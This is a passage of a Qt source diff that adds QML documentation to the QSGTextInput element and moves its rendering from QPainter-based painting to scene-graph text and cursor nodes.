+ selectAll(), or selectWord().
+ \sa selectionEnd, cursorPosition, selectedText
+*/
int QSGTextInput::selectionStart() const
{
Q_D(const QSGTextInput);
return d->lastSelectionStart;
}
+/*!
+ \qmlproperty int QtQuick2::TextInput::selectionEnd
+ The cursor position after the last character in the current selection.
+
+ This property is read-only. To change the selection, use select(start,end),
+ selectAll(), or selectWord().
+
+ \sa selectionStart, cursorPosition, selectedText
+*/
int QSGTextInput::selectionEnd() const
{
Q_D(const QSGTextInput);
return d->lastSelectionEnd;
}
+/*!
+ \qmlmethod void QtQuick2::TextInput::select(int start, int end)
+
+ Causes the text from \a start to \a end to be selected.
+
+ If either start or end is out of range, the selection is not changed.
+
+ After calling this, selectionStart will become the lesser
+ and selectionEnd will become the greater (regardless of the order passed
+ to this method).
+ \sa selectionStart, selectionEnd
+*/
void QSGTextInput::select(int start, int end)
{
Q_D(QSGTextInput);
@@ -352,12 +605,32 @@ void QSGTextInput::select(int start, int end)
d->control->setSelection(start, end-start);
}
+/*!
+ \qmlproperty string QtQuick2::TextInput::selectedText
+
+ This read-only property provides the text currently selected in the
+ text input.
+
+ It is equivalent to the following snippet, but is faster and easier
+ to use.
+
+ \js
+ myTextInput.text.toString().substring(myTextInput.selectionStart,
+ myTextInput.selectionEnd);
+ \endjs
+*/
QString QSGTextInput::selectedText() const
{
Q_D(const QSGTextInput);
return d->control->selectedText();
}
+/*!
+ \qmlproperty bool QtQuick2::TextInput::activeFocusOnPress
+
+ Whether the TextInput should gain active focus on a mouse press. By default this is
+ set to true.
+*/
bool QSGTextInput::focusOnPress() const
{
Q_D(const QSGTextInput);
@@ -374,7 +647,12 @@ void QSGTextInput::setFocusOnPress(bool b)
emit activeFocusOnPressChanged(d->focusOnPress);
}
+/*!
+ \qmlproperty bool QtQuick2::TextInput::autoScroll
+ Whether the TextInput should scroll when the text is longer than the width. By default this is
+ set to true.
+*/
bool QSGTextInput::autoScroll() const
{
Q_D(const QSGTextInput);
@@ -395,6 +673,114 @@ void QSGTextInput::setAutoScroll(bool b)
}
#ifndef QT_NO_VALIDATOR
+
+/*!
+ \qmlclass IntValidator QIntValidator
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-visual-elements
+
+ This element provides a validator for integer values.
+
+ IntValidator uses the \l {QLocale::setDefault()}{default locale} to interpret the number and
+ will accept locale specific digits, group separators, and positive and negative signs. In
+ addition, IntValidator is always guaranteed to accept a number formatted according to the "C"
+ locale.
+*/
+/*!
+ \qmlproperty int QtQuick2::IntValidator::top
+
+ This property holds the validator's highest acceptable value.
+ By default, this property's value is derived from the highest signed integer available (typically 2147483647).
+*/
+/*!
+ \qmlproperty int QtQuick2::IntValidator::bottom
+
+ This property holds the validator's lowest acceptable value.
+ By default, this property's value is derived from the lowest signed integer available (typically -2147483647).
+*/
+
+/*!
+ \qmlclass DoubleValidator QDoubleValidator
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-visual-elements
+
+ This element provides a validator for non-integer numbers.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::DoubleValidator::top
+
+ This property holds the validator's maximum acceptable value.
+ By default, this property contains a value of infinity.
+*/
+/*!
+ \qmlproperty real QtQuick2::DoubleValidator::bottom
+
+ This property holds the validator's minimum acceptable value.
+ By default, this property contains a value of -infinity.
+*/
+/*!
+ \qmlproperty int QtQuick2::DoubleValidator::decimals
+
+ This property holds the validator's maximum number of digits after the decimal point.
+ By default, this property contains a value of 1000.
+*/
+/*!
+ \qmlproperty enumeration QtQuick2::DoubleValidator::notation
+ This property holds the notation of how a string can describe a number.
+
+ The possible values for this property are:
+
+ \list
+ \o DoubleValidator.StandardNotation
+ \o DoubleValidator.ScientificNotation (default)
+ \endlist
+
+ If this property is set to DoubleValidator.ScientificNotation, the written number may have an exponent part (e.g. 1.5E-2).
+*/
+
+/*!
+ \qmlclass RegExpValidator QRegExpValidator
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-visual-elements
+
+ This element provides a validator, which counts as valid any string which
+ matches a specified regular expression.
+*/
+/*!
+ \qmlproperty regExp QtQuick2::RegExpValidator::regExp
+
+ This property holds the regular expression used for validation.
+
+ Note that this property should be a regular expression in JS syntax, e.g /a/ for the regular expression
+ matching "a".
+
+ By default, this property contains a regular expression with the pattern .* that matches any string.
+*/
+
+/*!
+ \qmlproperty Validator QtQuick2::TextInput::validator
+
+ Allows you to set a validator on the TextInput. When a validator is set
+ the TextInput will only accept input which leaves the text property in
+ an acceptable or intermediate state. The accepted signal will only be sent
+ if the text is in an acceptable state when enter is pressed.
+
+ Currently supported validators are IntValidator, DoubleValidator and
+ RegExpValidator. An example of using validators is shown below, which allows
+ input of integers between 11 and 31 into the text input:
+
+ \code
+ import QtQuick 1.0
+ TextInput{
+ validator: IntValidator{bottom: 11; top: 31;}
+ focus: true
+ }
+ \endcode
+
+ \sa acceptableInput, inputMask
+*/
+
QValidator* QSGTextInput::validator() const
{
Q_D(const QSGTextInput);
@@ -418,6 +804,15 @@ void QSGTextInput::setValidator(QValidator* v)
}
#endif // QT_NO_VALIDATOR
+/*!
+ \qmlproperty string QtQuick2::TextInput::inputMask
+
+ Allows you to set an input mask on the TextInput, restricting the allowable
+ text inputs. See QLineEdit::inputMask for further details, as the exact
+ same mask strings are used by TextInput.
+
+ \sa acceptableInput, validator
+*/
QString QSGTextInput::inputMask() const
{
Q_D(const QSGTextInput);
@@ -434,12 +829,29 @@ void QSGTextInput::setInputMask(const QString &im)
emit inputMaskChanged(d->control->inputMask());
}
+/*!
+ \qmlproperty bool QtQuick2::TextInput::acceptableInput
+
+ This property is always true unless a validator or input mask has been set.
+ If a validator or input mask has been set, this property will only be true
+ if the current text is acceptable to the validator or input mask as a final
+ string (not as an intermediate string).
+*/
bool QSGTextInput::hasAcceptableInput() const
{
Q_D(const QSGTextInput);
return d->control->hasAcceptableInput();
}
+/*!
+ \qmlsignal QtQuick2::TextInput::onAccepted()
+
+ This handler is called when the Return or Enter key is pressed.
+ Note that if there is a \l validator or \l inputMask set on the text
+ input, the handler will only be emitted if the input is in an acceptable
+ state.
+*/
+
void QSGTextInputPrivate::updateInputMethodHints()
{
Q_Q(QSGTextInput);
@@ -453,7 +865,18 @@ void QSGTextInputPrivate::updateInputMethodHints()
hints |= (Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText);
q->setInputMethodHints(hints);
}
-
+/*!
+ \qmlproperty enumeration QtQuick2::TextInput::echoMode
+
+ Specifies how the text should be displayed in the TextInput.
+ \list
+ \o TextInput.Normal - Displays the text as it is. (Default)
+ \o TextInput.Password - Displays asterixes instead of characters.
+ \o TextInput.NoEcho - Displays nothing.
+ \o TextInput.PasswordEchoOnEdit - Displays characters as they are entered
+ while editing, otherwise displays asterisks.
+ \endlist
+*/
QSGTextInput::EchoMode QSGTextInput::echoMode() const
{
Q_D(const QSGTextInput);
@@ -486,6 +909,19 @@ void QSGTextInput::setIMHints(Qt::InputMethodHints hints)
d->updateInputMethodHints();
}
+/*!
+ \qmlproperty Component QtQuick2::TextInput::cursorDelegate
+ The delegate for the cursor in the TextInput.
+
+ If you set a cursorDelegate for a TextInput, this delegate will be used for
+ drawing the cursor instead of the standard cursor. An instance of the
+ delegate will be created and managed by the TextInput when a cursor is
+ needed, and the x property of delegate instance will be set so as
+ to be one pixel before the top left of the current character.
+
+ Note that the root item of the delegate component must be a QDeclarativeItem or
+ QDeclarativeItem derived item.
+*/
QDeclarativeComponent* QSGTextInput::cursorDelegate() const
{
Q_D(const QSGTextInput);
@@ -547,6 +983,15 @@ void QSGTextInput::createCursor()
d->cursorItem->setHeight(d->control->height()-1); // -1 to counter QLineControl's +1 which is not consistent with Text.
}
+/*!
+ \qmlmethod rect QtQuick2::TextInput::positionToRectangle(int pos)
+
+ This function takes a character position and returns the rectangle that the
+ cursor would occupy, if it was placed at that character position.
+
+ This is similar to setting the cursorPosition, and then querying the cursor
+ rectangle, but the cursorPosition is not changed.
+*/
QRectF QSGTextInput::positionToRectangle(int pos) const
{
Q_D(const QSGTextInput);
@@ -558,6 +1003,24 @@ QRectF QSGTextInput::positionToRectangle(int pos) const
cursorRectangle().height());
}
+/*!
+ \qmlmethod int QtQuick2::TextInput::positionAt(int x, CursorPosition position = CursorBetweenCharacters)
+
+ This function returns the character position at
+ x pixels from the left of the textInput. Position 0 is before the
+ first character, position 1 is after the first character but before the second,
+ and so on until position text.length, which is after all characters.
+
+ This means that for all x values before the first character this function returns 0,
+ and for all x values after the last character this function returns text.length.
+
+ The cursor position type specifies how the cursor position should be resolved.
+
+ \list
+ \o TextInput.CursorBetweenCharacters - Returns the position between characters that is nearest x.
+ \o TextInput.CursorOnCharacter - Returns the position before the character that is nearest x.
+ \endlist
+*/
int QSGTextInput::positionAt(int x) const
{
return positionAt(x, CursorBetweenCharacters);
@@ -597,7 +1060,7 @@ void QSGTextInput::keyPressEvent(QKeyEvent* ev)
d->control->processKeyEvent(ev);
}
if (!ev->isAccepted())
- QSGPaintedItem::keyPressEvent(ev);
+ QSGImplicitSizeItem::keyPressEvent(ev);
}
void QSGTextInput::inputMethodEvent(QInputMethodEvent *ev)
@@ -610,7 +1073,7 @@ void QSGTextInput::inputMethodEvent(QInputMethodEvent *ev)
d->control->processInputMethodEvent(ev);
}
if (!ev->isAccepted())
- QSGPaintedItem::inputMethodEvent(ev);
+ QSGImplicitSizeItem::inputMethodEvent(ev);
if (wasComposing != (d->control->preeditAreaText().length() > 0))
emit inputMethodComposingChanged();
@@ -626,7 +1089,7 @@ void QSGTextInput::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event)
d->control->selectWordAtPos(cursor);
event->setAccepted(true);
} else {
- QSGPaintedItem::mouseDoubleClickEvent(event);
+ QSGImplicitSizeItem::mouseDoubleClickEvent(event);
}
}
@@ -671,7 +1134,7 @@ void QSGTextInput::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
moveCursorSelection(d->xToPos(event->pos().x()), d->mouseSelectionMode);
event->setAccepted(true);
} else {
- QSGPaintedItem::mouseMoveEvent(event);
+ QSGImplicitSizeItem::mouseMoveEvent(event);
}
}
@@ -696,7 +1159,7 @@ void QSGTextInput::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
d->clickCausedFocus = false;
d->control->processEvent(event);
if (!event->isAccepted())
- QSGPaintedItem::mouseReleaseEvent(event);
+ QSGImplicitSizeItem::mouseReleaseEvent(event);
}
bool QSGTextInputPrivate::sendMouseEventToInputContext(
@@ -762,7 +1225,7 @@ bool QSGTextInput::event(QEvent* ev)
handled = d->control->processEvent(ev);
}
if(!handled)
- handled = QSGPaintedItem::event(ev);
+ handled = QSGImplicitSizeItem::event(ev);
return handled;
}
@@ -773,7 +1236,7 @@ void QSGTextInput::geometryChanged(const QRectF &newGeometry,
updateSize();
updateCursorRectangle();
}
- QSGPaintedItem::geometryChanged(newGeometry, oldGeometry);
+ QSGImplicitSizeItem::geometryChanged(newGeometry, oldGeometry);
}
int QSGTextInputPrivate::calculateTextWidth()
@@ -827,25 +1290,73 @@ void QSGTextInputPrivate::updateHorizontalScroll()
}
}
-void QSGTextInput::paint(QPainter *p)
+QSGNode *QSGTextInput::updatePaintNode(QSGNode *oldNode, UpdatePaintNodeData *data)
{
- // XXX todo
- QRect r = boundingRect().toRect();
-
+ Q_UNUSED(data);
Q_D(QSGTextInput);
- p->setRenderHint(QPainter::TextAntialiasing, true);
- p->save();
- p->setPen(QPen(d->color));
- int flags = QLineControl::DrawText;
- if(!isReadOnly() && d->cursorVisible && !d->cursorItem)
- flags |= QLineControl::DrawCursor;
- if (d->control->hasSelectedText())
- flags |= QLineControl::DrawSelections;
- QFontMetrics fm = QFontMetrics(d->font);
- // the y offset is there to keep the baseline constant in case we have script changes in the text.
- QPoint offset(-d->hscroll, fm.ascent() - d->control->ascent());
- d->control->draw(p, offset, r, flags);
- p->restore();
+
+ QSGTextNode *node = static_cast<QSGTextNode *>(oldNode);
+ if (node == 0)
+ node = new QSGTextNode(QSGItemPrivate::get(this)->sceneGraphContext());
+ d->textNode = node;
+
+ if (!d->textLayoutDirty) {
+ QSGSimpleRectNode *cursorNode = node->cursorNode();
+ if (cursorNode != 0 && !isReadOnly()) {
+ QFontMetrics fm = QFontMetrics(d->font);
+ // the y offset is there to keep the baseline constant in case we have script changes in the text.
+ QPoint offset(-d->hscroll, fm.ascent() - d->control->ascent());
+ offset.rx() += d->control->cursorToX();
+
+ QRect br(boundingRect().toRect());
+ cursorNode->setRect(QRectF(offset, QSizeF(d->control->cursorWidth(), br.height())));
+
+ if (!d->cursorVisible
+ || (!d->control->cursorBlinkStatus() && d->control->cursorBlinkPeriod() > 0)) {
+ d->hideCursor();
+ } else {
+ d->showCursor();
+ }
+ }
+ } else {
+ node->deleteContent();
+ node->setMatrix(QMatrix4x4());
+
+ QPoint offset = QPoint(0,0);
+ QFontMetrics fm = QFontMetrics(d->font);
+ QRect br(boundingRect().toRect());
+ if (d->autoScroll) {
+ // the y offset is there to keep the baseline constant in case we have script changes in the text.
+ offset = br.topLeft() - QPoint(d->hscroll, d->control->ascent() - fm.ascent());
+ } else {
+ offset = QPoint(d->hscroll, 0);
+ }
+
+ QTextLayout *textLayout = d->control->textLayout();
+ if (!textLayout->text().isEmpty()) {
+ node->addTextLayout(offset, textLayout, d->color,
+ QSGText::Normal, QColor(),
+ d->selectionColor, d->selectedTextColor,
+ d->control->selectionStart(),
+ d->control->selectionEnd() - 1); // selectionEnd() returns first char after
+ // selection
+ }
+
+ if (!isReadOnly() && d->cursorItem == 0) {
+ offset.rx() += d->control->cursorToX();
+ node->setCursor(QRectF(offset, QSizeF(d->control->cursorWidth(), br.height())), d->color);
+ if (!d->cursorVisible
+ || (!d->control->cursorBlinkStatus() && d->control->cursorBlinkPeriod() > 0)) {
+ d->hideCursor();
+ } else {
+ d->showCursor();
+ }
+ }
+
+ d->textLayoutDirty = false;
+ }
+
+ return node;
}
QVariant QSGTextInput::inputMethodQuery(Qt::InputMethodQuery property) const
@@ -879,18 +1390,34 @@ QVariant QSGTextInput::inputMethodQuery(Qt::InputMethodQuery property) const
}
}
+/*!
+ \qmlmethod void QtQuick2::TextInput::deselect()
+
+ Removes active text selection.
+*/
void QSGTextInput::deselect()
{
Q_D(QSGTextInput);
d->control->deselect();
}
+/*!
+ \qmlmethod void QtQuick2::TextInput::selectAll()
+
+ Causes all text to be selected.
+*/
void QSGTextInput::selectAll()
{
Q_D(QSGTextInput);
d->control->setSelection(0, d->control->text().length());
}
+/*!
+ \qmlmethod void QtQuick2::TextInput::isRightToLeft(int start, int end)
+
+ Returns true if the natural reading direction of the editor text
+ found between positions \a start and \a end is right to left.
+*/
bool QSGTextInput::isRightToLeft(int start, int end)
{
Q_D(QSGTextInput);
@@ -903,6 +1430,11 @@ bool QSGTextInput::isRightToLeft(int start, int end)
}
#ifndef QT_NO_CLIPBOARD
+/*!
+ \qmlmethod QtQuick2::TextInput::cut()
+
+ Moves the currently selected text to the system clipboard.
+*/
void QSGTextInput::cut()
{
Q_D(QSGTextInput);
@@ -910,12 +1442,22 @@ void QSGTextInput::cut()
d->control->del();
}
+/*!
+ \qmlmethod QtQuick2::TextInput::copy()
+
+ Copies the currently selected text to the system clipboard.
+*/
void QSGTextInput::copy()
{
Q_D(QSGTextInput);
d->control->copy();
}
+/*!
+ \qmlmethod QtQuick2::TextInput::paste()
+
+ Replaces the currently selected text by the contents of the system clipboard.
+*/
void QSGTextInput::paste()
{
Q_D(QSGTextInput);
@@ -924,12 +1466,41 @@ void QSGTextInput::paste()
}
#endif // QT_NO_CLIPBOARD
+/*!
+ \qmlmethod void QtQuick2::TextInput::selectWord()
+
+ Causes the word closest to the current cursor position to be selected.
+*/
void QSGTextInput::selectWord()
{
Q_D(QSGTextInput);
d->control->selectWordAtPos(d->control->cursor());
}
+/*!
+ \qmlproperty bool QtQuick2::TextInput::smooth
+
+ This property holds whether the text is smoothly scaled or transformed.
+
+ Smooth filtering gives better visual quality, but is slower. If
+ the item is displayed at its natural size, this property has no visual or
+ performance effect.
+
+ \note Generally scaling artifacts are only visible if the item is stationary on
+ the screen. A common pattern when animating an item is to disable smooth
+ filtering at the beginning of the animation and reenable it at the conclusion.
+*/
+
+/*!
+ \qmlproperty string QtQuick2::TextInput::passwordCharacter
+
+ This is the character displayed when echoMode is set to Password or
+ PasswordEchoOnEdit. By default it is an asterisk.
+
+ If this property is set to a string with more than one character,
+ the first character is used. If the string is empty, the value
+ is ignored and the property is not set.
+*/
QString QSGTextInput::passwordCharacter() const
{
Q_D(const QSGTextInput);
@@ -949,12 +1520,32 @@ void QSGTextInput::setPasswordCharacter(const QString &str)
emit passwordCharacterChanged();
}
+/*!
+ \qmlproperty string QtQuick2::TextInput::displayText
+
+ This is the text displayed in the TextInput.
+
+ If \l echoMode is set to TextInput::Normal, this holds the
+ same value as the TextInput::text property. Otherwise,
+ this property holds the text visible to the user, while
+ the \l text property holds the actual entered text.
+*/
QString QSGTextInput::displayText() const
{
Q_D(const QSGTextInput);
return d->control->displayText();
}
+/*!
+ \qmlproperty bool QtQuick2::TextInput::selectByMouse
+
+ Defaults to false.
+
+ If true, the user can use the mouse to select text in some
+ platform-specific way. Note that for some platforms this may
+ not be an appropriate interaction (eg. may conflict with how
+ the text needs to behave inside a Flickable.
+*/
bool QSGTextInput::selectByMouse() const
{
Q_D(const QSGTextInput);
@@ -970,6 +1561,19 @@ void QSGTextInput::setSelectByMouse(bool on)
}
}
+/*!
+ \qmlproperty enum QtQuick2::TextInput::mouseSelectionMode
+
+ Specifies how text should be selected using a mouse.
+
+ \list
+ \o TextInput.SelectCharacters - The selection is updated with individual characters. (Default)
+ \o TextInput.SelectWords - The selection is updated with whole words.
+ \endlist
+
+ This property only applies when \l selectByMouse is true.
+*/
+
QSGTextInput::SelectionMode QSGTextInput::mouseSelectionMode() const
{
Q_D(const QSGTextInput);
@@ -985,6 +1589,12 @@ void QSGTextInput::setMouseSelectionMode(SelectionMode mode)
}
}
+/*!
+ \qmlproperty bool QtQuick2::TextInput::canPaste
+
+ Returns true if the TextInput is writable and the content of the clipboard is
+ suitable for pasting into the TextEdit.
+*/
bool QSGTextInput::canPaste() const
{
Q_D(const QSGTextInput);
@@ -997,6 +1607,43 @@ void QSGTextInput::moveCursorSelection(int position)
d->control->moveCursor(position, true);
}
+/*!
+ \qmlmethod void QtQuick2::TextInput::moveCursorSelection(int position, SelectionMode mode = TextInput.SelectCharacters)
+
+ Moves the cursor to \a position and updates the selection according to the optional \a mode
+ parameter. (To only move the cursor, set the \l cursorPosition property.)
+
+ When this method is called it additionally sets either the
+ selectionStart or the selectionEnd (whichever was at the previous cursor position)
+ to the specified position. This allows you to easily extend and contract the selected
+ text range.
+
+ The selection mode specifies whether the selection is updated on a per character or a per word
+ basis. If not specified the selection mode will default to TextInput.SelectCharacters.
+
+ \list
+ \o TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at
+ the previous cursor position) to the specified position.
+ \o TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all
+ words between the specified postion and the previous cursor position. Words partially in the
+ range are included.
+ \endlist
+
+ For example, take this sequence of calls:
+
+ \code
+ cursorPosition = 5
+ moveCursorSelection(9, TextInput.SelectCharacters)
+ moveCursorSelection(7, TextInput.SelectCharacters)
+ \endcode
+
+ This moves the cursor to position 5, extend the selection end from 5 to 9
+ and then retract the selection end from 9 to 7, leaving the text from position 5 to 7
+ selected (the 6th and 7th characters).
+
+ The same sequence with TextInput.SelectWords will extend the selection start to a word boundary
+ before or on position 5 and extend the selection end to a word boundary on or past position 9.
+*/
void QSGTextInput::moveCursorSelection(int pos, SelectionMode mode)
{
Q_D(QSGTextInput);
@@ -1054,6 +1701,45 @@ void QSGTextInput::moveCursorSelection(int pos, SelectionMode mode)
}
}
+/*!
+ \qmlmethod void QtQuick2::TextInput::openSoftwareInputPanel()
+
+ Opens software input panels like virtual keyboards for typing, useful for
+ customizing when you want the input keyboard to be shown and hidden in
+ your application.
+
+ By default the opening of input panels follows the platform style. On Symbian^1 and
+ Symbian^3 -based devices the panels are opened by clicking TextInput. On other platforms
+ the panels are automatically opened when TextInput element gains active focus. Input panels are
+ always closed if no editor has active focus.
+
+ . You can disable the automatic behavior by setting the property \c activeFocusOnPress to false
+ and use functions openSoftwareInputPanel() and closeSoftwareInputPanel() to implement
+ the behavior you want.
+
+ Only relevant on platforms, which provide virtual keyboards.
+
+ \qml
+ import QtQuick 1.0
+ TextInput {
+ id: textInput
+ text: "Hello world!"
+ activeFocusOnPress: false
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (!textInput.activeFocus) {
+ textInput.forceActiveFocus()
+ textInput.openSoftwareInputPanel();
+ } else {
+ textInput.focus = false;
+ }
+ }
+ onPressAndHold: textInput.closeSoftwareInputPanel();
+ }
+ }
+ \endqml
+*/
void QSGTextInput::openSoftwareInputPanel()
{
if (qApp) {
@@ -1064,6 +1750,45 @@ void QSGTextInput::openSoftwareInputPanel()
}
}
+/*!
+ \qmlmethod void QtQuick2::TextInput::closeSoftwareInputPanel()
+
+ Closes a software input panel like a virtual keyboard shown on the screen, useful
+ for customizing when you want the input keyboard to be shown and hidden in
+ your application.
+
+ By default the opening of input panels follows the platform style. On Symbian^1 and
+ Symbian^3 -based devices the panels are opened by clicking TextInput. On other platforms
+ the panels are automatically opened when TextInput element gains active focus. Input panels are
+ always closed if no editor has active focus.
+
+ . You can disable the automatic behavior by setting the property \c activeFocusOnPress to false
+ and use functions openSoftwareInputPanel() and closeSoftwareInputPanel() to implement
+ the behavior you want.
+
+ Only relevant on platforms, which provide virtual keyboards.
+
+ \qml
+ import QtQuick 1.0
+ TextInput {
+ id: textInput
+ text: "Hello world!"
+ activeFocusOnPress: false
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (!textInput.activeFocus) {
+ textInput.forceActiveFocus();
+ textInput.openSoftwareInputPanel();
+ } else {
+ textInput.focus = false;
+ }
+ }
+ onPressAndHold: textInput.closeSoftwareInputPanel();
+ }
+ }
+ \endqml
+*/
void QSGTextInput::closeSoftwareInputPanel()
{
if (qApp) {
@@ -1082,7 +1807,7 @@ void QSGTextInput::focusInEvent(QFocusEvent *event)
openSoftwareInputPanel();
}
}
- QSGPaintedItem::focusInEvent(event);
+ QSGImplicitSizeItem::focusInEvent(event);
}
void QSGTextInput::itemChange(ItemChange change, const ItemChangeData &value)
@@ -1100,6 +1825,18 @@ void QSGTextInput::itemChange(ItemChange change, const ItemChangeData &value)
QSGItem::itemChange(change, value);
}
+/*!
+ \qmlproperty bool QtQuick2::TextInput::inputMethodComposing
+
+
+ This property holds whether the TextInput has partial text input from an
+ input method.
+
+ While it is composing an input method may rely on mouse or key events from
+ the TextInput to edit or commit the partial text. This property can be
+ used to determine when to disable events handlers that may interfere with
+ the correct operation of an input method.
+*/
bool QSGTextInput::isInputMethodComposing() const
{
Q_D(const QSGTextInput);
@@ -1109,12 +1846,16 @@ bool QSGTextInput::isInputMethodComposing() const
void QSGTextInputPrivate::init()
{
Q_Q(QSGTextInput);
+#if defined(Q_WS_MAC)
+ control->setThreadChecks(true);
+#endif
control->setParent(q);//Now mandatory due to accessibility changes
control->setCursorWidth(1);
control->setPasswordCharacter(QLatin1Char('*'));
q->setSmooth(smooth);
q->setAcceptedMouseButtons(Qt::LeftButton);
q->setFlag(QSGItem::ItemAcceptsInputMethod);
+ q->setFlag(QSGItem::ItemHasContents);
q->connect(control, SIGNAL(cursorPositionChanged(int,int)),
q, SLOT(cursorPosChanged()));
q->connect(control, SIGNAL(selectionChanged()),
@@ -1144,6 +1885,12 @@ void QSGTextInputPrivate::init()
selectedTextColor = p.color(QPalette::HighlightedText);
selectionColor = p.color(QPalette::Highlight);
determineHorizontalAlignment();
+
+ if (!qmlDisableDistanceField()) {
+ QTextOption option = control->textLayout()->textOption();
+ option.setUseDesignMetrics(true);
+ control->textLayout()->setTextOption(option);
+ }
}
void QSGTextInput::cursorPosChanged()
@@ -1214,19 +1961,35 @@ void QSGTextInput::q_textChanged()
}
}
+void QSGTextInputPrivate::showCursor()
+{
+ if (textNode != 0 && textNode->cursorNode() != 0)
+ textNode->cursorNode()->setColor(color);
+}
+
+void QSGTextInputPrivate::hideCursor()
+{
+ if (textNode != 0 && textNode->cursorNode() != 0)
+ textNode->cursorNode()->setColor(QColor(0, 0, 0, 0));
+}
+
void QSGTextInput::updateRect(const QRect &r)
{
Q_D(QSGTextInput);
- if(r == QRect())
- update();
- else
- update(QRect(r.x() - d->hscroll, r.y(), r.width(), r.height()));
+ if (!isComponentComplete())
+ return;
+
+ if (r.isEmpty()) {
+ d->textLayoutDirty = true;
+ }
+
+ update();
}
QRectF QSGTextInput::boundingRect() const
{
Q_D(const QSGTextInput);
- QRectF r = QSGPaintedItem::boundingRect();
+ QRectF r = QSGImplicitSizeItem::boundingRect();
int cursorWidth = d->cursorItem ? d->cursorItem->width() : d->control->cursorWidth();
@@ -1243,7 +2006,6 @@ void QSGTextInput::updateSize(bool needsRedraw)
int h = height();
setImplicitHeight(d->control->height()-1); // -1 to counter QLineControl's +1 which is not consistent with Text.
setImplicitWidth(d->calculateTextWidth());
- setContentsSize(boundingRect().size().toSize());
if(w==width() && h==height() && needsRedraw)
update();
}
diff --git a/src/declarative/items/qsgtextinput_p.h b/src/declarative/items/qsgtextinput_p.h
index 770afa8283..f5ac50e8e1 100644
--- a/src/declarative/items/qsgtextinput_p.h
+++ b/src/declarative/items/qsgtextinput_p.h
@@ -54,7 +54,7 @@ QT_MODULE(Declarative)
class QSGTextInputPrivate;
class QValidator;
-class Q_AUTOTEST_EXPORT QSGTextInput : public QSGImplicitSizePaintedItem
+class Q_AUTOTEST_EXPORT QSGTextInput : public QSGImplicitSizeItem
{
Q_OBJECT
Q_ENUMS(HAlignment)
@@ -204,7 +204,6 @@ public:
bool hasAcceptableInput() const;
- void paint(QPainter *p);
QVariant inputMethodQuery(Qt::InputMethodQuery property) const;
QRectF boundingRect() const;
@@ -261,6 +260,7 @@ protected:
bool event(QEvent *e);
void focusInEvent(QFocusEvent *event);
virtual void itemChange(ItemChange, const ItemChangeData &);
+ QSGNode *updatePaintNode(QSGNode *oldNode, UpdatePaintNodeData *data);
public Q_SLOTS:
void selectAll();
diff --git a/src/declarative/items/qsgtextinput_p_p.h b/src/declarative/items/qsgtextinput_p_p.h
index f25722972b..0d1f21b54c 100644
--- a/src/declarative/items/qsgtextinput_p_p.h
+++ b/src/declarative/items/qsgtextinput_p_p.h
@@ -65,18 +65,35 @@
QT_BEGIN_NAMESPACE
-class Q_AUTOTEST_EXPORT QSGTextInputPrivate : public QSGImplicitSizePaintedItemPrivate
+class QSGTextNode;
+
+class Q_AUTOTEST_EXPORT QSGTextInputPrivate : public QSGImplicitSizeItemPrivate
{
Q_DECLARE_PUBLIC(QSGTextInput)
public:
- QSGTextInputPrivate() : control(new QLineControl(QString())),
- color((QRgb)0), style(QSGText::Normal),
- styleColor((QRgb)0), hAlign(QSGTextInput::AlignLeft),
- mouseSelectionMode(QSGTextInput::SelectCharacters), inputMethodHints(Qt::ImhNone),
- hscroll(0), oldScroll(0), oldValidity(false), focused(false), focusOnPress(true),
- showInputPanelOnFocus(true), clickCausedFocus(false), cursorVisible(false),
- autoScroll(true), selectByMouse(false), canPaste(false), hAlignImplicit(true),
- selectPressed(false)
+ QSGTextInputPrivate()
+ : control(new QLineControl(QString()))
+ , color((QRgb)0)
+ , style(QSGText::Normal)
+ , styleColor((QRgb)0)
+ , hAlign(QSGTextInput::AlignLeft)
+ , mouseSelectionMode(QSGTextInput::SelectCharacters)
+ , inputMethodHints(Qt::ImhNone)
+ , textNode(0)
+ , hscroll(0)
+ , oldScroll(0)
+ , oldValidity(false)
+ , focused(false)
+ , focusOnPress(true)
+ , showInputPanelOnFocus(true)
+ , clickCausedFocus(false)
+ , cursorVisible(false)
+ , autoScroll(true)
+ , selectByMouse(false)
+ , canPaste(false)
+ , hAlignImplicit(true)
+ , selectPressed(false)
+ , textLayoutDirty(true)
{
#ifdef Q_OS_SYMBIAN
if (QSysInfo::symbianVersion() == QSysInfo::SV_SF_1 || QSysInfo::symbianVersion() == QSysInfo::SV_SF_3) {
@@ -106,6 +123,8 @@ public:
int calculateTextWidth();
bool sendMouseEventToInputContext(QGraphicsSceneMouseEvent *event, QEvent::Type eventType);
void updateInputMethodHints();
+ void hideCursor();
+ void showCursor();
QLineControl* control;
@@ -122,6 +141,7 @@ public:
QPointer<QDeclarativeComponent> cursorComponent;
QPointer<QSGItem> cursorItem;
QPointF pressPos;
+ QSGTextNode *textNode;
int lastSelectionStart;
int lastSelectionEnd;
@@ -141,6 +161,7 @@ public:
bool canPaste:1;
bool hAlignImplicit:1;
bool selectPressed:1;
+ bool textLayoutDirty:1;
static inline QSGTextInputPrivate *get(QSGTextInput *t) {
return t->d_func();
diff --git a/src/declarative/items/qsgtextnode.cpp b/src/declarative/items/qsgtextnode.cpp
index 03a558fe3d..1ae457b6fa 100644
--- a/src/declarative/items/qsgtextnode.cpp
+++ b/src/declarative/items/qsgtextnode.cpp
@@ -47,6 +47,7 @@
#include <private/qsgcontext_p.h>
+#include <QtCore/qpoint.h>
#include <qmath.h>
#include <qtextdocument.h>
#include <qtextlayout.h>
@@ -57,6 +58,7 @@
#include <private/qfont_p.h>
#include <private/qfontengine_p.h>
#include <private/qrawfont_p.h>
+#include <qhash.h>
QT_BEGIN_NAMESPACE
@@ -64,7 +66,7 @@ QT_BEGIN_NAMESPACE
Creates an empty QSGTextNode
*/
QSGTextNode::QSGTextNode(QSGContext *context)
-: m_context(context)
+ : m_context(context), m_cursorNode(0)
{
#if defined(QML_RUNTIME_TESTING)
description = QLatin1String("text");
